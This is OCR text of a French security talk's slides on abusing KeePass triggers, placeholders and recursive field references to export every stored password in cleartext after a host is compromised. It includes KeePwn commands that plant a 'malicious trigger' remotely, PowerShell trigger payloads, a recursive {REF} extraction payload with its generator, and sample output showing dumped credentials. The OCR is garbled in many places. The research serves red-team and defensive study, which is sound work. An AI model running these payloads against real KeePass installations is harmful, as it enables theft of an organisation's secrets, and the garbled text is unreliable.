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> Createur de KeePwn et KeeFarce Reborn
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https://d3lb3.github.io/

> Gestionnaire de mot de passe gratuit et open-source
> Certifie par ANSSI

> Genéralement utilise en client lourd
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> Utilise par beaucoup d’'entreprises

> Stocke souvent tous les secrets d'une DSI
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« Abuser de differentes fonctionnalités de KeePass

pour extraire les mots de passe de la base »
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> Implémentation officielle de KeePass

> Contexte de post-exploitation
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> Systeme d’événement-condition-action

> Configurable depuis un fichier XML
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>Evénement : enregistrement de la base
> Condition : %BACKUP% == TRUE

> Action : copie la base sur un partage FTP
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|§?| Add Tnigger

Create a new workflow automation.

Properties Events Conditions Actions
Mame:

Backup Database

Enabled

f not enabled, the tigger has no function.

I I Il-li'l'i =|"II i
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|§?| Add Trigger

‘. y Saved database file

I J Saved database file
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IEFI Add Trigger

ngqer

Create a new workflow automation.

Properties E*a"%nts | I'- I"ll. I_I F' & E I:I L 'E||

The trigger actions 2

Condition
e8| Environment variable “BACKUP, Equals, 1
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IE,I Add Trigger

fp.company local, user, Pi@§%wird!!

Action

.21 Synchronize active database with a file/URL ftp.company local, user, P& 85w rd!!
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KeePass Triggers are

JL215BT] jkmeIvvmAOdbDg=—:
Backup Database

539,/ ngTSmgeXdWehDgbjg=—x<

Dead — Long Live KeePass Triggers!
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> |nteraction entre un fichier XML et la base chiffree

> Configuration « facilement » éditable
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IE_,I Action

Action:

Execute command line / LURL

Execute command line / URL E:.| E' I:: |_|t E' I:: I:I |T| |T| '3 rl Ij |ir| E' .'II. I_I F: L

_hange tngger on/ ol state
Open database file

Save active database
Synchronize active data
Irn 1 nrt Irltll :ll'tl".n-' |:| :|’[:||:|:|

Close ac ’[I".n-' |:|:|’[:||:|:|.1l-'
Activate database (select tab)
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IE,I Action

Action:
Export active database
File/LIRL “appdata® \export.csv
File format KeePass C5V (1x)
Filter - Group

Filter - Tag
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1. Construction d'un trigger exportant la base en clair
2. Ajout du trigger au fichier de configuration du poste cible

3. Base extraite au prochain lancement de KeePass
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> KeePwn trigger add -u 'Administrator' -p 'P@$$w@rd!''' -d 'COMPANY.LOCAL' -t PC@3.COMPANY.LOCAL
KeePwn v@0.2 - by Julien BEDEL (@d31b3 )

[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData‘\Roaming\KeePass\KeePass.conftig.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file
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> KeePwn trigger poll -u 'Administrator' -p 'P@s$wé@rd!!' -d 'COMPANY.LOCAL' -t PCO3.COMPANY.LOCAL

[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\Cs\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to '/home/jbedel/export.xml'
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> Triggers = systeme d’evénement / action / condition

> Extraction des mots de passe depuis le fichier de configuration
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> Ajout d’'une sécurité contre 'exportation de bases

l::ﬁ;::' Enter Current Master Key (Export) - Database. kdbx

L—J Enter Current Master Key (Expori)
| Cillsers\Julien Bedel\Desktop\Database kdbx

|:| Key file/provider: (None)

|:| Windows user account

Help Confirm Export Cancel
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Les placeholdezrs
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« Variables » remplacees dynamigquement
par des éléments de la base
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(@ Database.kdbx - KeePass

File  Group  Entry | Find @ View Tools  Help
& H L~ & T -8 . B (@) | Search...
= Fratabase User Mame
=i General :

_i_l Windows
¢ Metwork
H" Internet

Yy eMail

admin

User Name: admin. Password: =
Creation Tim 0B, 06, Last Modification Time: 26,

1 of 1 selected Feady.

EJL.COMPANY.LOCAL,
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User Name Password

User Name: admin. Password: ", URL: ssh://admin@SEV0I1.COMPANY.LOCAL - sshy///fUSERNAME)@{TITLE}. COMPANY.LOCAL,
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User Name Password

User Name: admin. Password: ****, URL: ssh://admin@5EVIT.COMPANY LOCAL - ssh:///TUSERNAME}@{TITLEL COMPANY.LOCAL,

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!



Placeholder Field

{TITLE} Title
{USERNAME} User name
URL

{PAS5WORD} Password

{NOTES} Motes
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Placeholder Action

{DB_PATH} Full path of the current database.

{CLIPBOARD} Gets the clipboard content (text).

{CLIPBOARD-SET: 1 Copies Text into the clipboard.

{CMD: / CommandLine/Options/} Runs a command line.
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> Evénement ; champ copié par lutilisateur

> Action : execute une commande PowerShell avec placeholders

Add-Content -Path $env:APPDATA'\clipboard_export.txt' -Value '{TITLE}:{USERNAME}:{PASSWORD}:{URL}"
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IZZE'I Event

Event:
Copied entry data to clipboard
Value - Comparison Equals

Walue - Filter
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'é—' Action

Artion:

Execute command line / UR

File/LIRL Powershell exe

Arguments L "AddContent Senv:APPDATA clipboard_ex...

Wait for exit [ ]

Window style Hidden
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<Trigger=>
<Guid>LUhjS5EaVpOiip+LdLbNYwWQ==</Guid>
<Name>Clipboard Export</Name>
<Event

<Event>
<TypeGuid>P35exipUTFiVRIX78mowW3 /TypeGuid>

<Parameters>
<Parameter /Parameter=
<Parameter />
</Parameters>
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>2uX40wcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>PowerShell.exe</Parameter>
<Parameter>-C "Add-Content $env:APPDATA'\clipboard_export.txt'
<Parameter>False</Parameter>
<Parameter /Parameter>
<Parameter
</Parameters>
</Action>
Actions>

</Trigge

' {TITLE}: {USERNAME} :

Triggers!
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KeePass Triggers

I:El Databasekdbx - KeePass

File Group  Entry  Find  View Tocls  Help

adm
admin
root

veeam-backy

y User Mame
Copy Password
LURL(s)

Other Data
Perform Auto-Type
Add Entry...

Edit Entry...

Edit Entry (Cuick)
Duplicate Entry...
Delete Entry

Select All

Rearrange

Ctrl+V

Ctrl+l

Enter

Ctrl+K

are Dead — Long Live KeePass Triggers!
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clipboard_export.txt - Notepad

File Edit Format View Help
Jenkins:root:gooXPiatEi56PGIFf6r]: JENKINS . COMPANY . LOCAL

Ln 1, Col 1 100%  Windows (CRLF) UTF-8
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> Placeholders = chaines « compilées » dans KeePass

> Utilisable dans les triggers pour extraire les entrées
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> Dépend d’'une interaction utilisateur

> Lie uniquement a U'entrée courante

Peut-on récupeérer toutes les entrées sans interaction ?
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Les réferences de champ

(« field references » en anglais)



“Les champs d'autres entrées peuvent étre inserés dans

un placeholder en utilisant les reférences de champs”
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https://keepass.info/help/base/fieldrefs.html

Principe de fonctionnement

{REF :<champ souhaité>@<champ de recherche>:<valeur>}

On recupere <champ souhaité> de l'entrée dont

<champ de recherche> contient <valeur>

lm,’g KeePass Triggers are Dead — Long Live KeePass Triggers!
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{REF:U@T : SRVO1}

On recupere Utilisateur de l'entrée dont

contient SRVO1

ﬁ?ﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!

Field
Title

User name

Password

URL

Notes

UuuiD
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{ REF :KERGmMpISOURaEItes @< champ de recherche>:<valeur>}

lé,l Database.kdbx - KeePass

File Group Entry Find View Tools Help

K. = o2 - e o) T el . o IEI Search...
|7 Database

I General
S

- Windows

IREF: gl TSRV}
=4 Metwork
h"‘ Internet

= eMail

©% Homebanking

. | P, P 5
RECYCLE OLIR

b2

Lser Mame Password

Group: Database. Title: 5SRV0Z. User Name: admin - (REFU
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{REF:<champ souhaité>@<champ de recherche>:<valeur>}

lé,l Database.kdbx - KeePass

File Group Entry Find View Tools Help

| |.__=T" M v . o IEI Search...

&5 Database

I General
S

Lser Mame Password

admin S

{REFU@T:SRVOT)

Windows
. Metwork
h"‘ Internet

= eMail

©% Homebanking

. | P, P 5
RECYCLE OLIR

Group: Database. Title: 5SRV0Z. User Name: admin - [FEFU

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!



Exportation du mot de passe de n'importe quelle entrée avec

{REF:P@T:<titre>}
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Références + Triggers = X



> 0On cible lenvironnement de virtualisation d’'une entreprise

> Les entrées contiennent potentiellement des mots cles comme

vmware, vsphere, vcenter, vcsa, esx, etc
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48



> Payload inseré dans un trigger :

$payload = '{REF:T@T:vmware}:{REF:UQT:vmware}:{REF:PQT:vmware} ' n'
$payload += '{REF:T@T:vsphere}:{REF:UQT:vsphere}:{REF:PQT:vsphere} 'n'
$payload += '{REF:T@T:vcenter}:{REF:UQT:vcenter}:{REF:PQT:vcenter} n'
$payload += '{REF:T@T:esxi}:{REF:UQT:esxi}:{REF:PQT:esxi} n'

Add-Content -Path $env:APPDATA'\reference_export.txt' -Value $payload

{REF :<champ souhaité>@T:<titre>}
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KeePass Triggers are Dead — Long

WV'{BEF:TAT:vmware}: {REF:UAT:vmware}: {REF: PEAT:vmware}

Live KeePass Triggers!
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File  Group Entry Find  View Tools Help

| & = [<€-

P} Pﬂtﬂhﬂﬁ' Title User Mame Password URL
I General
_'h_ Windows
e Network
h"' Internet

= eMail

# Veearr veeam-backup VEEAM.COMPANY.LOCAL

2 vCenter root VCENTER.COMPANY.LOCAL
& Tomcat admin TOMCAT.COMPANY.LOCAL
S PRIG admin PRTG.COMPANY.LOCAL

2 Jenkins root JENKINS.COMPANY.LOCAL

Sis Homebanking

. | R N
NECYCLE LR
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reference_export.txt - Notepad

File Edit Format
HHEF:T@T:umwaPE}:{HEF:U@T:umware}:{HEF:P@T:umware}
{REF:T@T:vsphere}:{REF:U@T:vsphere}:{REF:P@T:vsphere}
vCenter:root:yDIMAvUyI7khpjpdrBBs

{REF:T@T:esxij:{REF:U@T:esxi}: {REF:P@T:esxi}

Ln 1, Col 1 100% Unix (LF)

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!
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> Références de champs = placeholders liés a d’autres entrées
> Syntaxe : {REF:<champ souhaité>@<champ de recherche>:<valeur>}

> Extraction en devinant le titre {REF:P@T:<titre>}

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!
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> Manque toujours d’exhaustivite

Comment matcher toute la base a coup str ?

> Ne réecupere que la lere occurrence

Comment lire tous les champs qui correspondent ?
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54



Matchexr toute la base



Chaque champ est identifié de maniere unique par un UUID

User Mame

JCESAEFAALFBT 2 wCente root
FTA1B617618992DD9AEA & Tomcat admin
DC3DO0ESCO9BE924468A81218BC4A22BER2 ' PRIG admin

O07BAEOE99270349874132978011F62C 2 Jenkins root

dedr A

i

L

Frdrddrdedrik

VCENTE
TOMCAT.COMPANY.LOCAL
PRTG.COMPANY.LOCAL
JEMEIMNS COMPANY.LOCAL

KeePass Triggers are Dead — Long Live KeePass Triggers!
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> Impossible a prédire, mais facile a matcher
> Exemple : {REF:<champ souhaité>@I:0}

Lser Name
m-backup

root

"'I"1"':-E-'D_"“—11E-I"1'F1'.'_1_1._[1D«F-EH £ Tomcat admin TOMCAT.COMPANY.LOCAL
DC .[EIEﬁuzyE..lu.,Mﬁ. .,111.,5 C422BER2 7 PRTG admin PRTG.COMPANY.LOCAL
= Jenkins root s JENKINS.COMPANY.LOCAL
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> Impossible a prédire, mais facile a matcher

> Exemple : {REF:<champ souhaité>@I:0} {REF:<champ souhaité>@I:1}

Uzer Name Password
ckup
CESAEFAAL2FET o+ vCenter root il VCENTER.COMPANY.LOCAL

Sq1BABED: 7" TIABE1 TR RSS20 D9AEA + Tomcat admin i TOMCAT.COMPANY,LOCAL
3084468A81H1BBC422BER2 ' PRTG admin e PRTG.COMPANY . LOCAL
.'E.H 508763498741k 297 l] hiFs2c 2 Jenkins root JENKING.COMPANY.LOCAL
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References récursives



Exclusions (2.x)

Find what: Michael -Home

Options: Title

Finds every entry whose title contains the term 'Michael', but not the term 'Home".

Que se passe-t-il si on compile {REF:I@I:0 -{REF:I@I:0}} ?

ﬁ?ﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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{REF:<champ souhaité>@<champ de recherche>:<valeur>}

{REF:I@I:0} = 46C9BOFF..

{REF:I@I:0 -{REF:I@I:0}} = {REF:I@I:0 -46C9BOFF..}
= DCCOCF1F1..
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Extraction depuis un trigger
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Extraction depuis un trigger

—[~]
— python3 payload generator.py 3

payload = {REF:1@I:0}:{REF:T@I:@}:{REF:U@I:0}:{REF:P@I:@} n

payload += {REF:1@I:@ -{REF:I@I:@}}:{REF:T@I:@ -{REF:I@I:0}}:{REF:U@I:0
-{REF:I@I:@}}:{REF:P@I:@ -{REF:I@I:0}} n

payload += {REF:1@I:@ -{REF:I@I:0} -{REF:I@I:0 -{REF:1@I:0}}}:{REF:T@I:
® -{REF:I@I:0} -{REF:I@I:@ -{REF:I@I:@}}}:{REF:U@I:@ -{REF:I@I:@} -{REF
:I@I:0 -{REF:I@I:@}}}:{REF:P@I:® -{REF:I@I:0} -{REF:I@I:@ -{REF:I@I:0}}
}n
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F2nX40wowTBOe Ty 66y 2 ThXw=

werShell .exe</F T

C "Add-Content Senv:APPDATA‘\recursive_gxport.txt‘ YW"{REF:I@I:0}:{REF:TRI:0}:{REF:URI:0}:{REF:PRI:0} n{REF:IRI:0 —-{REF:IE@I:0}}:{REF:TRI: 0O
:0}}:{BEF:UEI:0 -{REF:I@I:0}}:{REF:PERI:0 —-{BEEF:IfI:0}} n{REF: :0 —{REF:I@I:0} -{REF I:0 -{REF:I@I:0}}}:{REF:TEI:0 -{REF:IEfI:0} -{BEF:IGI:D
:0}}}:{REF:URI:0 -{REF:I@I:0} —{REF:IRI1:0 —{REF:I21:0}}}:{REF: :0 —{REF:IRI:0} —-{REF:IEI:0 -{REF:I@I:0}}} n{REF:IRI:0 -{REF:IRI:0} -{REF:IRI:0D
:0}} —-{BREF:IEI:0 -{REF:I@T:0} —{REF:TR1:0 —{REF:T2T:0}}}}:{BEF:TET:0 —-{REF:I@T:0} —-{REF:IEI:0 —-{REF:ITRT1:0}} —-{REF:I@T:0 —-{REF:IEI:0} -{REF:IQAT:0

:0}}}}:{REF:URL: :I@L:0} -{REF:I2I:0 —-{REF:IEGI:0}} -{REF:IRI:0 —{REF:IRI:0} —{REF:IRI:0 -{REF:I@I:0}}}}:{REF:PRI:0 -{REF: :0} -{REF:IgI:0
:0}} —-{REF:IEI:0 -{REF:IEIL:0} —{REF:IgI:0 -{REF :0}}}} n{REF:IRI:0 —-{REF:I@I:0} -{REF:IGI:0 —{REF:IGI:0}} —{REF:IRI:0 -{REF: :0} —{REF:I@I:0

:0}}} —{RE I:0 -{REF: :0} -{REF:IgI:0 —-{REF:IEGI:0}} -{REF:IRI:0 —{REF:IGI:0} —{REF:I@I:0 —-{REF:IEI:0}}}}}:{REF:T@I:0 -{REF:IgI:0} -{REF:IEI:0
:0}} —{REF:IGI:0 -{REF:I@I:0} —-{REF:IGI:0 -{REF: :0}}} -{REF:IEGI:0 -{REF: 10} —{REF:I8I:0 -{REF:IgI:0}} —{REF:IgI:0 -{REF:I@I:0} -{REF:IRI:0
:0}}}}}:{REF:URI:0 -{REF:I@I:0} -{REF:I@I:0 —{REF:IGI:0}} -{REF:IRI:0 —{REF:IRI:0} -{REF:IEI:0 -{REF:IeI:0}}} -{REF:IRI:0 -{REF:I@I:0} -{REF:IRI:0
:0}} —{REF:IGI:0 —{REF:I@I:0} -{REF:I2I:0 —{REF:IEGI:0}}}}}:{REF:PRI:0 —{REF:IRI:0} -{REF:IRI:0 -{REF:I2I:0}} —{REF:I@I:0 -{REF:I@I:0} -{REF:IRI:0
:0}}} —{REF : :I@L:0} —-{REF:IeI:0 —-{REF:IGI:0}} -{REF:IGI:0 —{REF:IGI:0} —{REF:IEI:0 —-{REF:I@T:0}}}}}\";
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User Mame

_enter root

T41B617618992DD9AEA - Tomcat admin
DC3D0ESC9B2934468A81218BC422BER2 4~ PRTG admin

O07BAEOES9876349874132978011F62C 4 Jenkins root

KeePass Triggers are Dead — Long Live KeePass

Triggers!

B

L

S A

SRR

VCENTER.CC MY LOCAL
TOMCAT.COMPANY.LOCAL
PRIG.COMPANY.LOCAL
JEMEINS. COMPANY LOCAL
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recursive_export.txt - Notepad

File Edit Format View

hEEiEEEE?EEEdFdEE?EEEEEFEEEFEBEE:Ueeam:ueeam—backup:ELEﬂPE?dfﬁwlﬁﬁﬁxESPH

9AE/8B21FB3856429CBCESAEFAALZFET
aC18ABED/CB27741B617618992DD9AEA
DC3DBESCOBE984468A812186C422BE62
B8 /BAEBES98763498741329788011F62C

:vCenter:root: yDIMAvUyI7khpjpdr@Bi
: Tomcat:admin: jqUihlLpxbndGS5pGF2F7U
:PRTG: admin: /QMyqFCAGOBzGFEB4APOTH

: Jenkins:root:gooXPiatEiS56PGIFfor]

Ln 1, Col1 100% Unic (LF)

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!
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> Les UUID permettent de facilement matcher toute la base

> Les reférences récursives permettent d’extraire les entrées

ﬁ?ﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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string CompileInternal |

1f (uRecursionLevel >=]SprEngine.MaxRecursionDepth)

{

Debug.Assert (false) ;
return string.Empty;

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!
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Faire pareil sans récuxrsion ?



Idée

$excluded uuids =

$new _uuid =

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids =

$new _uuid =

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids =

$new _uuid =

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids =
$new uuid = '{REF:I@I:0}'

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids =
$new _uuid = '46C9B1FF.."
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Idée

$excluded uuids = ' -46C9BOFF.."
$new _uuid = '46C9BOFF.."

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids = ' -46C9BOFF.."
$new _uuid = '46C9BOFF.."

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids = ' -46C9BOFF.."
$new uuid = '{REF:I@I:0 -46C9BOFF..}

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids = ' -46C9BOFF.."
$new uuid = 'DCCOCF1F1..°

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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Idée

$excluded uuids = ' -46C9BOFF..
$new uuid = 'DCCOCF1F1..°

-DCCOCF1F1.."
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= ' -46C9BO
‘DCCOCF1F1.."
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Idée
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«Variables »

lﬁﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!
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{REF:1I@I:0 {CMD/PowerShell.exe -C 'gc

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!

uuids - Bloc-notes — O

Fichier Edition Format Affichage Aide
ll'-'l-EEul';BEi':"J?'EEEdFdEE?IZ:EEBE'iFE[IZ:F'EiEIE
9A870B21F03856429CBCESAEFAAZFET
8C18AB6D7CH27741B617618992DD9AEA

£
Li 100%  Windows (CRLF)

-Path uuid.txt'//}}
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IZEI Event

Event:

Time - Perodic

Interval [s]

Restart timer on KeePass activity

lm?g KeePass Triggers are Dead — Long Live KeePass Triggers!
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Construction
du payload final




> Fichier .CSV au format suivant:

UUID, TITLE,USERNAME, PASSWORD, URL

> Ecriture ligne par ligne a l'aide de triggers
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extract.csv - Bloc-notes []

Fichier Edition Format Affichage Aide
32B34202DE7946871923F 342809617426 ,Veeam, veeam-backup,B/tpva¥Y1l/R1FydIbcSxo
FSDBBF/744ABFACELIBDS368231F9788B1A, vCenter, root, WKH]oOnCbhdSXzXMrVthi

D5BEBFADADL1AB/DASD1 75F6195EDEAS , Tomcat , admin,vielGduuqUdOgO/FFISg

100%  Windows (CRLF) UTF-8
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> Dans un trigger avec 'evenement « Every X seconds »
> Un payload PS pour résoudre successivement les UUID

> Un payload PS pour récupérer les champs a partir de chaque UUID
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Construction de la liste des UUID
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Construction de la liste des UUID
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Récuperation du dernier UUID depuis le fichier :

(Get-Content -Path $env:APPDATA'\extract.csv')[-1]
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Extraction des entrées
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User Mame

_enter root

T41B617618992DD9AEA - Tomcat admin
DC3D0ESC9B2934468A81218BC422BER2 4~ PRTG admin

O07BAEOES9876349874132978011F62C 4 Jenkins root

KeePass Triggers are Dead — Long Live KeePass

Triggers!

B

L

S A

SRR

VCENTER.CC MY LOCAL
TOMCAT.COMPANY.LOCAL
PRIG.COMPANY.LOCAL
JEMEINS. COMPANY LOCAL
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48615889 T725EUFU9BTC20BI9F2CCF90EC
SABTOB21FO3856U29CEBCESAEFAAUZFET
8C18ABEDTCO2TTU1ES1T618992DD9AEA
DC3IDOESCO9E898UUs8A81218BCU22BER2
BETBAEBE998763498TU1329780811F62C

vCenter
Tomcat
PRTG
Jenkins

veeam—backup
root

admin

admin

root

3LOAr8TUfOwIK6GXZSpY
yDIMUvUyITkhpjpdreBz
jqUZhLpxbnyGSpGF2FTU
TQMyqFCAGO6ZGFOLUPOTH
gooXPiatEi56PGJIFf6r]

KeePass Triggers are Dead — Long Live KeePass Triggers!

VEEAM.COMPANY . LOCAL
VCENTER . COMPANY . LOCAL
TOMCAT . COMPANY . LOCAL
PRTG.COMPANY . LOCAL
JENKINS . COMPANE - o

96
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> Droits d’'administration obligatoires

> Hors du threat model du logiciel

ﬁ?ﬁl KeePass Triggers are Dead — Long Live KeePass Triggers!

08



N°128

L 1901 ]
-/ LE MAGAZINE DE LA CYBERSECURITE ’Jmmlm"ummmmmlmw i
OFFENSIVE ET DEFENSIVE i 25
CRYPTO: RESEAU : CODE :
TEMPS DE CALCUL / PROTECTION CLOUD /POLICY AS CODE/IaC BIONIC / HEAP
Attaques par canaux Gérer et sécuriser votre Analyse de la sécurité de
auxiliaires via l'analyse de la | réseau avec I'lnfrastructure  Scudo, le nouvel allocateur
consommation électrique as Code mémoire d’Android

A y |
N1ANAA A
RED TEAM / POST-EXPLOITATION )

SECURITE DE
KEEPASS

& TECHNIQUES
D’EXTRACTION
DES SECRETS

B Méthodes d'attaques
génériques

2t

u Exploitation des triggers
et injection DLL

W Limites et protection

PENTEST CORNER MALWARE CORNER THREAT INTEL CORNER
Hash Shucking : découvrez la Ecriture pas a pas d'un Focus sur le marché de
technique d’ « écaillage » des outil d’administration a la revente d’'accés par
hashes d’authentification distance furtif en C# les cybercriminels
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